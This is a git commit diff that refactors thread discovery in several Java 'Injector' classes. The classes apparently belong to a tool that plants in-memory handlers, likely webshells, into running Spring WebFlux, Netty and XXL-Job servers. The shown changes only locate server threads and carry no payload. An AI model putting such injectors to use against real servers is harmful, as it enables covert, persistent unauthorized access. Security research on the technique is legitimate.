style: unify fetch threads

This commit is contained in:
ReaJason
2025-05-14 00:34:32 +08:00
parent 3ecdbf020d
commit 50a9aec83c
38 changed files with 72 additions and 118 deletions
@@ -10,6 +10,7 @@ import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
@@ -45,7 +46,7 @@ public class SpringWebFluxHandlerFunctionInjector {
}
public Object getWebHandler() throws Exception {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getClass().getName().contains("NettyWebServer")) {
Object nettyWebServer = getFieldValue(thread, "this$0");
@@ -13,6 +13,7 @@ import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Collection;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
@@ -48,7 +49,7 @@ public class SpringWebFluxHandlerMethodInjector {
}
public Object getWebHandler() throws Exception {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getClass().getName().contains("NettyWebServer")) {
Object nettyWebServer = getFieldValue(thread, "this$0");
@@ -12,6 +12,7 @@ import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.SocketAddress;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
@@ -45,11 +46,8 @@ public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigu
private Class<?> handlerClass;
public Object getNettyServer() throws Exception {
ThreadGroup group = Thread.currentThread().getThreadGroup();
Field threads = group.getClass().getDeclaredField("threads");
threads.setAccessible(true);
Thread[] allThreads = (Thread[]) threads.get(group);
for (Thread thread : allThreads) {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getClass().getName().contains("NettyWebServer")) {
return thread;
}
@@ -12,6 +12,7 @@ import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
@@ -47,9 +48,7 @@ public class SpringWebFluxWebFilterInjector {
}
public FilteringWebHandler getWebHandler() throws Exception {
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Thread[] threads = (Thread[]) getThreads.invoke(null);
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getClass().getName().contains("NettyWebServer")) {
Object nettyWebServer = getFieldValue(thread, "this$0");
@@ -15,6 +15,7 @@ import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Set;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
@@ -81,11 +82,8 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
}
public void inject() throws Exception {
ThreadGroup group = Thread.currentThread().getThreadGroup();
Field threads = group.getClass().getDeclaredField("threads");
threads.setAccessible(true);
Thread[] allThreads = (Thread[]) threads.get(group);
for (Thread thread : allThreads) {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
Object target;